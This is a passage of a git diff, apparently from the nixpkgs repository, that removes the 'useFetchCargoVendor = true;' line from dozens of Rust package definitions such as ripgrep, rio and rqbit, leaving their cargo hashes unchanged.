-  useFetchCargoVendor = true;
   cargoHash = "sha256-NHXcBKSuyL0bIriEOr1nuTnz4vra1bIYcNOGmnN5HnQ=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/re/revpfw3/package.nix b/pkgs/by-name/re/revpfw3/package.nix
index 669597d7557b..b413232a9cf4 100644
--- a/pkgs/by-name/re/revpfw3/package.nix
+++ b/pkgs/by-name/re/revpfw3/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-oqBzRpfL5sMxE29HwVXW4rdnf5cfNCn2pUqZiYDhHDk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-F9ngyKWAdm3GyN6cSErtHoMN/u6A3ML7OMFP1QIaH9c=";
 
   meta = {
diff --git a/pkgs/by-name/re/rewatch/package.nix b/pkgs/by-name/re/rewatch/package.nix
index f73eeb2cad16..631dfda132d9 100644
--- a/pkgs/by-name/re/rewatch/package.nix
+++ b/pkgs/by-name/re/rewatch/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-UoUL3zeyrs3FdQVyAo0FsuNiPtiITbuNDdEXxWg3yiY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-scm2Uv68jN249RH2Fr8ofFjLTOv04wtDKZ5prDl4REU=";
 
   doCheck = true;
diff --git a/pkgs/by-name/rh/rhack/package.nix b/pkgs/by-name/rh/rhack/package.nix
index 10b5c2753f9b..9237f9d9e2df 100644
--- a/pkgs/by-name/rh/rhack/package.nix
+++ b/pkgs/by-name/rh/rhack/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "088ynf65szaa86pxwwasn3wwi00z5pn7i8w9gh5dyn983z4d8237";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-84dVBNvo45zG7s/tMY3O0Zv69CdcvjZCZX8siie6QnI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/rh/rhai-doc/package.nix b/pkgs/by-name/rh/rhai-doc/package.nix
index aa8793f859ee..cb3a9b09e507 100644
--- a/pkgs/by-name/rh/rhai-doc/package.nix
+++ b/pkgs/by-name/rh/rhai-doc/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GZq5C8Q95OHKftEkps4Y6X6sAc4pzSfSq3ELUW/kPWI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Lk/vbYxBcK676qusl6mWO38RAkCuiyHwZLcJpcHrdO4=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ri/riff/package.nix b/pkgs/by-name/ri/riff/package.nix
index 63a7972968cb..9def89dffd26 100644
--- a/pkgs/by-name/ri/riff/package.nix
+++ b/pkgs/by-name/ri/riff/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ThHkEvu+lWojHmEgcrwdZDPROfxznB7vv78msyZf90A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-JghCYYDf2keV9UFU5m+qDIIb7+V0aPwVzR41J01pXcI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ri/riffdiff/package.nix b/pkgs/by-name/ri/riffdiff/package.nix
index 18bfd3892d4f..9a6716c742ba 100644
--- a/pkgs/by-name/ri/riffdiff/package.nix
+++ b/pkgs/by-name/ri/riffdiff/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-b2Jgj/QABRd6BN3PhTEK6pid74oRknx0/CUg2UfQWS8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Pt+SL3R28Gr54hgN3jZ1ZaH3L4JKEZz7hhtuX45P3IY=";
 
   passthru = {
diff --git a/pkgs/by-name/ri/rime-ls/package.nix b/pkgs/by-name/ri/rime-ls/package.nix
index 7d022eab8212..0101a089c6a0 100644
--- a/pkgs/by-name/ri/rime-ls/package.nix
+++ b/pkgs/by-name/ri/rime-ls/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jDn41hSDcQQO1d4G0XV6B/JZkryHtuoHUOYpmdE1Kxo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lmvIH6ssEqbkcDETzHL+Spd04B576o8dijigUR88l9c=";
 
   nativeBuildInputs = [ rustPlatform.bindgenHook ];
diff --git a/pkgs/by-name/ri/ringfairy/package.nix b/pkgs/by-name/ri/ringfairy/package.nix
index c9edae92d307..587e885a9f6e 100644
--- a/pkgs/by-name/ri/ringfairy/package.nix
+++ b/pkgs/by-name/ri/ringfairy/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-dyqmjjhX3aehxoziV1C8Xsh/tNR2mhMBgcziPPNqqkA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Sa8vGQkE31r8hr53q46FzfEievlLJvBTvvOzqHyZEFY=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ri/rink/package.nix b/pkgs/by-name/ri/rink/package.nix
index 3988e4b500d6..7f6143f311c8 100644
--- a/pkgs/by-name/ri/rink/package.nix
+++ b/pkgs/by-name/ri/rink/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-2+ZkyWhEnnO/QgCzWscbMr0u5kwdv2HqPLjtiXDfv/o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XvtEXBsdxUMJJntzzKVbUIjg78JpwyuUlTm6J3huDPE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ri/rio/package.nix b/pkgs/by-name/ri/rio/package.nix
index 6cf03fb00cba..11934a482fcb 100644
--- a/pkgs/by-name/ri/rio/package.nix
+++ b/pkgs/by-name/ri/rio/package.nix
@@ -62,7 +62,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ymu2t6J8s9SSGCc17ogNclVPgbQUeEJEqiR70LVsM9Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MXQDlA8FHZdgLmQtO6iFkxwftnq8EpIvprrO6zPK9BM=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ri/rip2/package.nix b/pkgs/by-name/ri/rip2/package.nix
index 9895571a9385..fe9685985a1c 100644
--- a/pkgs/by-name/ri/rip2/package.nix
+++ b/pkgs/by-name/ri/rip2/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lNMFbc0TItvVuzwpVbe7qWlSCzIaFi0/cQwfq2itzbY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KUVybOCtc66AubXjei0YCkXirfuIDgK3xSxjNODun98=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ri/ripasso-cursive/package.nix b/pkgs/by-name/ri/ripasso-cursive/package.nix
index aaa619b7ff65..76ff51e97c61 100644
--- a/pkgs/by-name/ri/ripasso-cursive/package.nix
+++ b/pkgs/by-name/ri/ripasso-cursive/package.nix
@@ -30,7 +30,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-j98X/+UTea4lCtFfMpClnfcKlvxm4DpOujLc0xc3VUY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4/87+SOUXLoOxd3a4Kptxa98mh/BWlEhK55uu7+Jrec=";
 
   patches = [
diff --git a/pkgs/by-name/ri/ripdrag/package.nix b/pkgs/by-name/ri/ripdrag/package.nix
index 88634d3fb09a..73b50b3d8026 100644
--- a/pkgs/by-name/ri/ripdrag/package.nix
+++ b/pkgs/by-name/ri/ripdrag/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-aK/1f56sHspohbYO0z2Hf1NDJsN8Dbf1NoL/QadbVSY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-w6gy149pbzRmN3XnRqMZuxAsKGXUglQpn/7g9L8+rZU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ri/ripgrep-all/package.nix b/pkgs/by-name/ri/ripgrep-all/package.nix
index 49f1342c7641..336cefef565e 100644
--- a/pkgs/by-name/ri/ripgrep-all/package.nix
+++ b/pkgs/by-name/ri/ripgrep-all/package.nix
@@ -32,7 +32,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-r/+u76Qxat6U0Hb3Xh31K/F0dNSPzteFzoE69NNCerI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nTCqqTFt87snzOXkjablaX9ZMGu/s88ZnUVr5uYrzPs=";
 
   # override debug=true set in Cargo.toml upstream
diff --git a/pkgs/by-name/ri/ripgrep/package.nix b/pkgs/by-name/ri/ripgrep/package.nix
index 875ed244fc5e..7a1f3f6ec9f4 100644
--- a/pkgs/by-name/ri/ripgrep/package.nix
+++ b/pkgs/by-name/ri/ripgrep/package.nix
@@ -26,7 +26,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gyWnahj1A+iXUQlQ1O1H1u7K5euYQOld9qWm99Vjaeg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9atn5qyBDy4P6iUoHFhg+TV6Ur71fiah4oTJbBMeEy4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ri/rippkgs/package.nix b/pkgs/by-name/ri/rippkgs/package.nix
index dc40f4a09d6a..70f1f76574cb 100644
--- a/pkgs/by-name/ri/rippkgs/package.nix
+++ b/pkgs/by-name/ri/rippkgs/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nRaGbJg1zCHTL8y/Tk5dM1dSu2v06ECsZYyMPIQTlvg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bSgQ/dmOffWOYpgeNn0vTdzrM/aFkD3znN9c1u/sjQ0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ri/ripsecrets/package.nix b/pkgs/by-name/ri/ripsecrets/package.nix
index f9c77fe673de..95cbff91fbf0 100644
--- a/pkgs/by-name/ri/ripsecrets/package.nix
+++ b/pkgs/by-name/ri/ripsecrets/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-lmahS/0W5075vdPfj4QnX7ZvrxHi986/92PRrplFblg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AO0EL2JNwrqwUa7QLNB8/fjLP3HzBqidHR21YSmrMqg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ri/ripunzip/package.nix b/pkgs/by-name/ri/ripunzip/package.nix
index 9ffa2846b826..4410167b0b3e 100644
--- a/pkgs/by-name/ri/ripunzip/package.nix
+++ b/pkgs/by-name/ri/ripunzip/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IPa7LvwB6RqebJXWKz4DZE5o/ob0sV7mVp6a/F0qsbU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3bzIScXVxT8HFmFc0svincvTyuT2F2nfFs/3ApnCBUs=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/ri/ristate/package.nix b/pkgs/by-name/ri/ristate/package.nix
index 34015139accb..b46b9761185b 100644
--- a/pkgs/by-name/ri/ristate/package.nix
+++ b/pkgs/by-name/ri/ristate/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CH9DZ/7Bhbe6qKg1Nbj1rA9SzIsqVlBJg51XxAh0XnY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kzy0U2ZdmEr/F1edQDM3S30ETXaVUXrSoUA+8v486O0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ri/river-bsp-layout/package.nix b/pkgs/by-name/ri/river-bsp-layout/package.nix
index 88772a7075bc..179f7ccb70df 100644
--- a/pkgs/by-name/ri/river-bsp-layout/package.nix
+++ b/pkgs/by-name/ri/river-bsp-layout/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/R9v3NGsSG4JJtdk0sJX7ahRolRmJMwMP48JRmLffXc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kfeRGT/qgZRPfXl03JYRF1CVPIIiGPIdxLORiA6QWu4=";
 
   meta = {
diff --git a/pkgs/by-name/ri/river-filtile/package.nix b/pkgs/by-name/ri/river-filtile/package.nix
index daffc075e6e8..2ae8eec84e05 100644
--- a/pkgs/by-name/ri/river-filtile/package.nix
+++ b/pkgs/by-name/ri/river-filtile/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wBU4CX6KGnTvrBsXvFAlRrvDqvHHbAlVkDqTCJx90G8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dmRUcjlmnheCG5drEcJIZbo7haDiu7Qphs6T92V8v/o=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ri/river-luatile/package.nix b/pkgs/by-name/ri/river-luatile/package.nix
index 41b382c58203..d5d9aae57080 100644
--- a/pkgs/by-name/ri/river-luatile/package.nix
+++ b/pkgs/by-name/ri/river-luatile/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-8/qHoNFoGH1nSdTwBkaQk+yyvJtrXADTA39gUAMeSv8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KQO6JN+ed+gxTTBGoJYhVUrpHJkuXf1dHrUzcF5FNaY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/rk/rkvm/package.nix b/pkgs/by-name/rk/rkvm/package.nix
index 1619646431a8..1c95cacce9b6 100644
--- a/pkgs/by-name/rk/rkvm/package.nix
+++ b/pkgs/by-name/rk/rkvm/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pGCoNmGOeV7ND4kcRjlJZbEMnmKQhlCtyjMoWIwVZrM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-2vioqALLeLFFmdZPwdTXCWJJkpQMWdi7KQ7mxO0Sviw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/rl/rlaunch/package.nix b/pkgs/by-name/rl/rlaunch/package.nix
index 77c3c80cb2cf..7039df64fa2f 100644
--- a/pkgs/by-name/rl/rlaunch/package.nix
+++ b/pkgs/by-name/rl/rlaunch/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-PyCR/ob947W+6T56y1se74aNy1avJDb2ELyv2aGf1og=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5mj20MN0FUNa2xawocNhh2C1jX0yN2QNnKYvJi88b0M=";
 
   # The x11_dl crate dlopen()s these libraries, so we have to inject them into rpath.
diff --git a/pkgs/by-name/rl/rlci/package.nix b/pkgs/by-name/rl/rlci/package.nix
index ea2378ba6c68..43dd26e495f7 100644
--- a/pkgs/by-name/rl/rlci/package.nix
+++ b/pkgs/by-name/rl/rlci/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+Hd1Ymm2LKnHUKoUlfN6D6pwebxgwJQHgqwMHXXtP6Y=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ckHwg7jEXZV0hjZFeR5dbqrt9APcyRV95LikwCFw/fM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/rm/rm-improved/package.nix b/pkgs/by-name/rm/rm-improved/package.nix
index ea353c78a134..0ce10b66a899 100644
--- a/pkgs/by-name/rm/rm-improved/package.nix
+++ b/pkgs/by-name/rm/rm-improved/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jbXmGPrb9PhmCSUFVcCqg8HjntS2mrYeNuaMsU+zIFI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jfrQkwJ6PcBs5W5F9x7Nt5xPP5f2G6MSb2AISu+g3gE=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/rm/rmenu/package.nix b/pkgs/by-name/rm/rmenu/package.nix
index cd3d3fb2a700..4912556bd1a4 100644
--- a/pkgs/by-name/rm/rmenu/package.nix
+++ b/pkgs/by-name/rm/rmenu/package.nix
@@ -36,7 +36,6 @@ rustPlatform.buildRustPackage rec {
 
   strictDeps = true;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-9sKcvVN14gfR30FvF8/esdJoIbSgHUl/aHRBWA8DRWg=";
 
   postInstall = ''
diff --git a/pkgs/by-name/rm/rmpc/package.nix b/pkgs/by-name/rm/rmpc/package.nix
index f124d38c0dc7..78936e33d5ec 100644
--- a/pkgs/by-name/rm/rmpc/package.nix
+++ b/pkgs/by-name/rm/rmpc/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-RfYaWoVGdeE5y/hkRH+gZgnc0Hrp9V+Pttvjcu3Q14g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-m25lo7mufGS7m1QSnhYdXMaXfjdqtJ8hVLdbuRsxbKY=";
 
   checkFlags = [
diff --git a/pkgs/by-name/rn/rnr/package.nix b/pkgs/by-name/rn/rnr/package.nix
index fef4a0960a48..1afe940a1703 100644
--- a/pkgs/by-name/rn/rnr/package.nix
+++ b/pkgs/by-name/rn/rnr/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-uuM8zh0wFSsySedXmdm8WGGR4HmUc5TCZ6socdztrZI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lXo3BECHpiNMRMgd4XZy+b8QHbE0TZ5/P4cz+SgwqsY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ro/rofi-obsidian/package.nix b/pkgs/by-name/ro/rofi-obsidian/package.nix
index fa3bc53eea5d..f0bc64fcd32d 100644
--- a/pkgs/by-name/ro/rofi-obsidian/package.nix
+++ b/pkgs/by-name/ro/rofi-obsidian/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-EQ7OGW5FTgfuJ/xJzOhl1eb3XNORUfs0efP17A6yp7g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+PJ8KpkdJmxJ0hhoecg9m5vqhgi73FmHfwZVBU4UF4w=";
 
   meta = {
diff --git a/pkgs/by-name/ro/rogcat/package.nix b/pkgs/by-name/ro/rogcat/package.nix
index 99e0d333a10d..f09fd79acb99 100644
--- a/pkgs/by-name/ro/rogcat/package.nix
+++ b/pkgs/by-name/ro/rogcat/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nXKvepuiBDIGo8Gga5tbbT/mnC6z+HipV5XYtlrURRU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cl09j96UfLvga4cJBSd1he9nfW3taQMY2e+UPltNQMI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ro/rojo/package.nix b/pkgs/by-name/ro/rojo/package.nix
index 70f806c21100..2310cd7733d4 100644
--- a/pkgs/by-name/ro/rojo/package.nix
+++ b/pkgs/by-name/ro/rojo/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-iWRjXC+JaBA/z2eOHiiqFFtS2gug5/hkIpYrPdHyux0=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ro/roogle/package.nix b/pkgs/by-name/ro/roogle/package.nix
index 1a06c59c55c7..04f503d984fc 100644
--- a/pkgs/by-name/ro/roogle/package.nix
+++ b/pkgs/by-name/ro/roogle/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-oeQwRcDn4X/CL+O4APmGv9T19c9oD5tCBRz4K41K1Zg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lmRo6Q67hJ3hv0jQt6epiNOckRv0rA0a0DNEKIdDoUE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ro/roon-tui/package.nix b/pkgs/by-name/ro/roon-tui/package.nix
index 94b696e2f24d..f13d287686e2 100644
--- a/pkgs/by-name/ro/roon-tui/package.nix
+++ b/pkgs/by-name/ro/roon-tui/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ocPSqj9/xJ2metetn6OY+IEFWysbstPmh2N5Jd8NDPM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+RIKnvMW56mbxLWvPFzT9IenTAFlQDhwrd6I+iFFBwI=";
 
   meta = {
diff --git a/pkgs/by-name/ro/rops/package.nix b/pkgs/by-name/ro/rops/package.nix
index c9329526804f..964b36254c35 100644
--- a/pkgs/by-name/ro/rops/package.nix
+++ b/pkgs/by-name/ro/rops/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wwZ/4yOB4pE6lZgX8ytCC3plMYt6kxOakQoLy8SWN+k=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sKPVdvMoQ2nV29rjau/6YpO1zpAQOuZhouPCvDf2goc=";
 
   # will true when tests is fixed from source.
diff --git a/pkgs/by-name/ro/rot8/package.nix b/pkgs/by-name/ro/rot8/package.nix
index e5775b3cba9f..0317324ed06b 100644
--- a/pkgs/by-name/ro/rot8/package.nix
+++ b/pkgs/by-name/ro/rot8/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dHx3vFY0ztyTIlzUi22TYphPD5hvgfHrWaaeoGxnvW0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MZz8IZDux9VEDDLQjkT96smNsygY1vYG2QBw3Q09hqw=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ro/rotonda/package.nix b/pkgs/by-name/ro/rotonda/package.nix
index 436eea306ac8..0364f3ffc61c 100644
--- a/pkgs/by-name/ro/rotonda/package.nix
+++ b/pkgs/by-name/ro/rotonda/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
 
   passthru.updateScript = nix-update-script { };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MKFSvmU3lgQZ1c5L1GmMmzXiXK28uCgYtrjIjhAhcfY=";
 
   meta = {
diff --git a/pkgs/by-name/ro/router/package.nix b/pkgs/by-name/ro/router/package.nix
index 91e27409ea46..859456d6c7ab 100644
--- a/pkgs/by-name/ro/router/package.nix
+++ b/pkgs/by-name/ro/router/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-4l9nTbtF8hy2x1fdRhmMKcYxTD6wWKXIfihLTWdtm7U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1AKYOv7kT60H8x1qmtPqR4Wxq1DxSCDzt+Uv7MRUeaw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ro/routinator/package.nix b/pkgs/by-name/ro/routinator/package.nix
index b394ddc6d0e4..b2b69dc4ab64 100644
--- a/pkgs/by-name/ro/routinator/package.nix
+++ b/pkgs/by-name/ro/routinator/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-itD9d+EqEdJ2bTJEpHxJCFFS8Mpc7AFQ1JgkNQxncV0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-58EnGouq8iKkgsvyHqARoQ0u4QXjw0m6pv4Am4J9wlU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/rp/rpg-cli/package.nix b/pkgs/by-name/rp/rpg-cli/package.nix
index 782720a3df5b..db356f4640f2 100644
--- a/pkgs/by-name/rp/rpg-cli/package.nix
+++ b/pkgs/by-name/rp/rpg-cli/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-xNkM8qN9vg/WGRR/96aCQRVjIbSdSs2845l6oE6+tzg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GzVdcQzYmKwb3GWhmbTb9HdBPosKgbimgvwZTfBMEk8=";
 
   # tests assume the authors macbook, and thus fail
diff --git a/pkgs/by-name/rp/rpm-sequoia/package.nix b/pkgs/by-name/rp/rpm-sequoia/package.nix
index aa28141583e3..61ae795fd2a7 100644
--- a/pkgs/by-name/rp/rpm-sequoia/package.nix
+++ b/pkgs/by-name/rp/rpm-sequoia/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Z2falZxewgMrrAyh8sDlIr9NfCzNs8GA+RHmfNYfzio=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LJyq2gWP/I6+4lArhsWmcAHlub0Ww76jkq2gagP86ao=";
 
   patches = [
diff --git a/pkgs/by-name/rq/rq/package.nix b/pkgs/by-name/rq/rq/package.nix
index af243166d8ef..4299fd89c97f 100644
--- a/pkgs/by-name/rq/rq/package.nix
+++ b/pkgs/by-name/rq/rq/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-QyYTbMXikLSe3eYJRUALQJxUJjA6VlvaLMwGrxIKfZI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BwbGiLoygNUua+AAKw/JAAG1kuWLdnP+8o+FFuvbFlM=";
 
   postPatch = ''
diff --git a/pkgs/by-name/rq/rqbit/package.nix b/pkgs/by-name/rq/rqbit/package.nix
index 8095275e1387..a329e0217d18 100644
--- a/pkgs/by-name/rq/rqbit/package.nix
+++ b/pkgs/by-name/rq/rqbit/package.nix
@@ -45,7 +45,6 @@ in
 rustPlatform.buildRustPackage {
   inherit pname version src;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gYasOjrG0oeT/6Ben57MKAvBtgpoSmZ93RZQqSXAxIc=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ];
diff --git a/pkgs/by-name/rq/rquickshare/package.nix b/pkgs/by-name/rq/rquickshare/package.nix
index 8ae084217223..78e2b68bb9a3 100644
--- a/pkgs/by-name/rq/rquickshare/package.nix
+++ b/pkgs/by-name/rq/rquickshare/package.nix
@@ -68,7 +68,6 @@ rustPlatform.buildRustPackage rec {
     hash = app-type-either "sha256-V46V/VPwCKEe3sAp8zK0UUU5YigqgYh1GIOorqIAiNE=" "sha256-8QRigYNtxirXidFFnTzA6rP0+L64M/iakPqe2lZKegs=";
   };
 
-  useFetchCargoVendor = true;
   cargoRoot = "app/${app-type}/src-tauri";
   buildAndTestSubdir = cargoRoot;
   cargoPatches = [
diff --git a/pkgs/by-name/rs/rs-git-fsmonitor/package.nix b/pkgs/by-name/rs/rs-git-fsmonitor/package.nix
index 095c3c4e80f1..056d00d28ea1 100644
--- a/pkgs/by-name/rs/rs-git-fsmonitor/package.nix
+++ b/pkgs/by-name/rs/rs-git-fsmonitor/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+5nR+/09HmFk3mq2B8NTeBT50aBG85yXEdeO6BhStVw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WkqJSbtaJxaagJMsdFiVozi1SkrfxXyM9bdZeimwJag=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/rs/rs-tftpd/package.nix b/pkgs/by-name/rs/rs-tftpd/package.nix
index b94c02c955e2..c6590d2a57bd 100644
--- a/pkgs/by-name/rs/rs-tftpd/package.nix
+++ b/pkgs/by-name/rs/rs-tftpd/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qazPEzLMIlnqKTayurZgNJ8TLLdB4qNO88tKMoh6VVI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xnvruSfrd2RWgWjV+mqMciGY/L2ynJrYW/j+P6rphEs=";
 
   buildFeatures = [ "client" ];
diff --git a/pkgs/by-name/rs/rsass/package.nix b/pkgs/by-name/rs/rsass/package.nix
index abb176e02a63..2cd922758b3a 100644
--- a/pkgs/by-name/rs/rsass/package.nix
+++ b/pkgs/by-name/rs/rsass/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3Xi+8TKmlZJYsZogzezce0KvasqTRfh04SmeC1UbJQ0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-TZZweDTF5sGdrCBXh42yaBMTI9ehjHGSFQu9HzVQEdA=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/rs/rsbkb/package.nix b/pkgs/by-name/rs/rsbkb/package.nix
index da1ced5f3812..6e07f59a26d5 100644
--- a/pkgs/by-name/rs/rsbkb/package.nix
+++ b/pkgs/by-name/rs/rsbkb/package.nix
@@ -22,7 +22,7 @@ rustPlatform.buildRustPackage {
   cargoPatches = [
     ./time.patch
   ];
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-fg8LQXqmw5GXiQe7ZVciORWI/yhKAhywolpapNpHXZY=";
 
   # Setup symlinks for all the utilities,
diff --git a/pkgs/by-name/rs/rsclock/package.nix b/pkgs/by-name/rs/rsclock/package.nix
index 2df0891f8a14..c852ab1d0c76 100644
--- a/pkgs/by-name/rs/rsclock/package.nix
+++ b/pkgs/by-name/rs/rsclock/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-l5750zP90KnB+OIg1WOikQ6OgQZK4iwVvGBN3jegjGc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Bnec98FEG2aWUa2IoBOLy0K6mqggcSwOBL3S5+0mSkU=";
 
   meta = with lib; {
